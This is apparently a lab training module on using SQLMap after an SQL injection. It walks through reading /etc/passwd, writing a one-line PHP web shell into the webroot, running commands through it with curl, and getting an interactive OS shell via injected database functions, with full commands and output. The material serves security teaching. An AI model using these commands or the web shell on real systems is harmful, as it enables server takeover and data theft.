

OS Exploitation

SQLMap has the ability to utilize an SQL Injection to read and write files from the local system outside the DBMS. SQLMap can also attempt to give us direct command execution on the remote host if we had the proper privileges.

File Read/Write

The first part of OS Exploitation through an SQL Injection vulnerability is reading and writing data on the hosting server. Reading data is much more common than writing data, which is strictly privileged in modern DBMSes, as it can lead to system exploitation, as we will see. For example, in MySQL, to read local files, the DB user must have the privilege to **LOAD DATA** and **INSERT**, to be able to load the content of a file to a table and then reading that table.

An example of such a command is:

- **LOAD DATA LOCAL INFILE** '/etc/passwd' INTO TABLE passwd;

While we do not necessarily need to have database administrator privileges (DBA) to read data, this is becoming more common in modern DBMSes. The same applies to other common databases. Still, if we do have DBA privileges, then it is much more probable that we have file-read privileges.

Checking for DBA Privileges

To check whether we have DBA privileges with SQLMap, we can use the **--is-dba** option:

```
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dbcypth0n@htb[/htb]$ sqlmap -u "http://www.example.com/case1.php?id=1" --is-dba

  ____
  --H--
  --[ ]----- {1.4.11#stable}
 |_-| . [ ]    | . ' | . |
 |__|_ [""]_|_|_|_|_|_|_|_|
   | |v...    |_| http://sqlmap.org

[*] starting @ 17:31:55 /2020-11-19/

[17:31:55] [INFO] resuming back-end DBMS 'mysql'
[17:31:55] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
...SNIP...
current user is DBA: False

[*] ending @ 17:31:56 /2020-11-19
```

As we can see, if we test that on one of the previous exercises, we get **current user is DBA: False**, meaning that we do not have DBA access. If we tried to read a file using SQLMap, we would get something like:

```
OS Exploitation

[17:31:43] [INFO] fetching file: '/etc/passwd'
[17:31:43] [ERROR] no data retrieved
```

To test OS exploitation, let's try an exercise in which we do have DBA privileges, as seen in the questions at the end of this section:

```

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dbcypth0n@htb[/htb]$ sqlmap -u "http://www.example.com/?id=1" --is-dba

    ---
    _H_
    ---[ ]----- {1.4.11#stable}
    |_-|. [']      |.'|. |
    |__|_ ["]_|_|_|_|_|_|_|_|
    |_|V...      |_| http://sqlmap.org

[*] starting @ 17:37:47 /2020-11-19/

[17:37:47] [INFO] resuming back-end DBMS 'mysql'
[17:37:47] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
...SNIP...
current user is DBA: True

[*] ending @ 17:37:48 /2020-11-19/

```

We see that this time we get **current user is DBA: True**, meaning that we may have the privilege to read local files.

Reading Local Files

Instead of manually injecting the above line through SQLi, SQLMap makes it relatively easy to read local files with the **--file-read** option:

```

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dbcypth0n@htb[/htb]$ sqlmap -u "http://www.example.com/?id=1" --file-read "/etc/passwd"

    ---
    _H_
    ---[ ]----- {1.4.11#stable}
    |_-|. [ ]      |.'|. |
    |__|_ [ ]_|_|_|_|_|_|_|_|
    |_|V...      |_| http://sqlmap.org

[*] starting @ 17:40:00 /2020-11-19/

[17:40:00] [INFO] resuming back-end DBMS 'mysql'
[17:40:00] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
...SNIP...
[17:40:01] [INFO] fetching file: '/etc/passwd'
[17:40:01] [WARNING] time-based comparison requires larger statistical model, please wait.....
[17:40:07] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast'
[17:40:07] [WARNING] unable to retrieve the content of the file '/etc/passwd', going to fall-back to simpler U
[17:40:07] [INFO] fetching file: '/etc/passwd'
do you want confirmation that the remote file '/etc/passwd' has been successfully downloaded from the back-end

[17:40:14] [INFO] the local file '~/.sqlmap/output/www.example.com/files/_etc_passwd' and the remote file '/etc
files saved to [1]:
[*] ~/.sqlmap/output/www.example.com/files/_etc_passwd (same file)

[*] ending @ 17:40:14 /2020-11-19/

```

As we can see, SQLMap said **files saved** to a local file. We can **cat** the local file to see its content:

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```
dbcyph0n@htb[/htb]$ cat ~/.sqlmap/output/www.example.com/files/_etc_passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...SNIP...
```

We have successfully retrieved the remote file.

Writing Local Files

When it comes to writing files to the hosting server, it becomes much more restricted in modern DBMSes, since we can utilize this to write a Web Shell on the remote server, and hence get code execution and take over the server.

This is why modern DBMSes disable file-write by default and need certain privileges for DBA's to be able to write files. For example, in MySQL, the `--secure-file-priv` configuration must be manually disabled to allow writing data into local files using the `INTO OUTFILE` SQL query, in addition to any local access needed on the host server, like the privilege to write in the directory we need.

Still, many web applications require the ability for DBMSes to write data into files, so it is worth testing whether we can write files to the remote server. To do that with SQLMap, we can use the `--file-write` and `--file-dest` options. First, let's prepare a basic PHP web shell and write it into a `shell.php` file:

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```
dbcyph0n@htb[/htb]$ echo '<?php system($_GET["cmd"]); ?>' > shell.php
```

Now, let's attempt to write this file on the remote server, in the `/var/www/html/` directory, the default server webroot for Apache. If we didn't know the server webroot, we will see how SQLMap can automatically find it.

OS Exploitation

```
dbcyph0n@htb[/htb]$ sqlmap -u "http://www.example.com/?id=1" --file-write "shell.php" --file-dest "/var/www/html/"

  ____
  --H--
  --[']----- {1.4.11#stable}
|_ -| . [C]    | . ' | . |
|___|_ [,_]_|_|_|_|_|_|_|_|
      |_|V...   |_| http://sqlmap.org

[*] starting @ 17:54:18 /2020-11-19/

[17:54:19] [INFO] resuming back-end DBMS 'mysql'
[17:54:19] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
...SNIP...
do you want confirmation that the local file 'shell.php' has been successfully written on the back-end DBMS file? [Y/n]

[17:54:28] [INFO] the local file 'shell.php' and the remote file '/var/www/html/shell.php' have the same size

[*] ending @ 17:54:28 /2020-11-19/
```

We see that SQLMap confirmed that the file was indeed written:

OS Exploitation

```
[17:54:28] [INFO] the local file 'shell.php' and the remote file '/var/www/html/shell.php' have the same size
```

Now, we can attempt to access the remote PHP shell, and execute a sample command:

```
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dbcypth0n@htb[/htb]$ curl http://www.example.com/shell.php?cmd=ls+--la

total 148
drwxrwxrwt 1 www-data www-data 4096 Nov 19 17:54 .
drwxr-xr-x 1 www-data www-data 4096 Nov 19 08:15 ..
-rw-rw-rw- 1 mysql      mysql   188 Nov 19 07:39 basic.php
...SNIP...
```

We see that our PHP shell was indeed written on the remote server, and that we do have command execution over the host server.

OS Command Execution

Now that we confirmed that we could write a PHP shell to get command execution, we can test SQLMap's ability to give us an easy OS shell without manually writing a remote shell. SQLMap utilizes various techniques to get a remote shell through SQL injection vulnerabilities, like writing a remote shell, as we just did, writing SQL functions that execute commands and retrieve output or even using some SQL queries that directly execute OS command, like `xp_cmdshell` in Microsoft SQL Server. To get an OS shell with SQLMap, we can use the `--os-shell` option, as follows:

```
OS Exploitation

dbcypth0n@htb[/htb]$ sqlmap -u "http://www.example.com/?id=1" --os-shell

  ____
 _H__
--  [.]  ____ {1.4.11#stable}
|_ -| . [D]  | .| . |
|__|_ [""]_||_|_|_|_|_|_|_|_|
      | |V...   | | http://sqlmap.org

[*] starting @ 18:02:15 /2020-11-19/

[18:02:16] [INFO] resuming back-end DBMS 'mysql'
[18:02:16] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
...SNIP...
[18:02:37] [INFO] the local file '/tmp/sqlmapmswx18kp12261/lib_mysqludf_sys8kj7u1jp.so' and the remote file '...'
[18:02:37] [INFO] creating UDF 'sys_exec' from the binary UDF file
[18:02:38] [INFO] creating UDF 'sys_eval' from the binary UDF file
[18:02:39] [INFO] going to use injected user-defined functions 'sys_eval' and 'sys_exec' for operating system
[18:02:39] [INFO] calling Linux OS shell. To quit type 'x' or 'q' and press ENTER

os-shell> ls -la
do you want to retrieve the command standard output? [Y/n/a] a

[18:02:45] [WARNING] something went wrong with full UNION technique (could be because of limitation on retrieval)
No output
```

We see that SQLMap defaulted to `UNION` technique to get an OS shell, but eventually failed to give us any output `No output`. So, as we already know we have multiple types of SQL injection vulnerabilities, let's try to specify another technique that has a better chance of giving us direct output, like the `Error-based SQL Injection`, which we can specify with `--technique=E`:

```
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dbcypth0n@htb[/htb]$ sqlmap -u "http://www.example.com/?id=1" --os-shell --technique=E
```

```

decryption[~/htb]# sqlmap -u http://www.example.com/ --batch --technique-L

    ___
   _H_
  ---[ , ]----- {1.4.11#stable}
 |_-| . [,] | .'| . |
 |__|_ [( )_|_|_|_|_|_|_|_|
    | |V... | | http://sqlmap.org

[*] starting @ 18:05:59 /2020-11-19/

[18:05:59] [INFO] resuming back-end DBMS 'mysql'
[18:05:59] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
...SNIP...
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
> 4

do you want sqlmap to further try to provoke the full path disclosure? [Y/n] y

[18:06:07] [WARNING] unable to automatically retrieve the web server document root
what do you want to use for writable directory?
[1] common location(s) ('/var/www/', /var/www/html, /var/www/htdocs, /usr/local/apache2/htdocs, /usr/local/www/d
[2] custom location(s)
[3] custom directory list file
[4] brute force search
> 1

[18:06:09] [WARNING] unable to automatically parse any web server path
[18:06:09] [INFO] trying to upload the file stager on '/var/www/' via LIMIT 'LINES TERMINATED BY' method
[18:06:09] [WARNING] potential permission problems detected ('Permission denied')
[18:06:10] [WARNING] unable to upload the file stager on '/var/www/'
[18:06:10] [INFO] trying to upload the file stager on '/var/www/html/' via LIMIT 'LINES TERMINATED BY' method
[18:06:11] [INFO] the file stager has been successfully uploaded on '/var/www/html/' - http://www.example.com/
[18:06:11] [INFO] the backdoor has been successfully uploaded on '/var/www/html/' - http://www.example.com/tmp
[18:06:11] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER

os-shell> ls -la

do you want to retrieve the command standard output? [Y/n/a] a

command standard output:
---
total 156
drwxrwxrwt 1 www-data www-data 4096 Nov 19 18:06 .
drwxr-xr-x 1 www-data www-data 4096 Nov 19 08:15 ..
-rw-rw-rw- 1 mysql mysql 188 Nov 19 07:39 basic.php
...SNIP...

```

As we can see, this time SQLMap successfully dropped us into an easy interactive remote shell, giving us easy remote code execution through this SQLi.

Note: SQLMap first asked us for the type of language used on this remote server, which we know is PHP. Then it asked us for the server web root directory, and we asked SQLMap to automatically find it using 'common location(s)'. Both of these options are the default options, and would have been automatically chosen if we added the '--batch' option to SQLMap.

With this, we have covered all of the main functionality of SQLMap.



Connect to Pwnbox

Your own web-based Parrot Linux instance to play our labs.

Pwnbox Location

AU

54ms ▼

Terminate Pwnbox to switch location

Start Instance

∞ / 1 spawns left

Waiting to start...



Questions

Answer the question(s) below to complete this Section and earn cubes!



Cheat Sheet

Target(s): [Click here to spawn the target system!](#)

+ 1

Try to use SQLMap to read the file `"/var/www/html/flag.txt"`.

Submit your answer here...

+10 Streak pts



Submit



Show Solution

+ 1

Use SQLMap to get an interactive OS shell on the remote host and try to find another flag within the host.

Submit your answer here...

+10 Streak pts



Submit



Hint



Show Solution

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My Workstation

OFFLINE

[▶ Start Instance](#)

∞ / 1 spawns left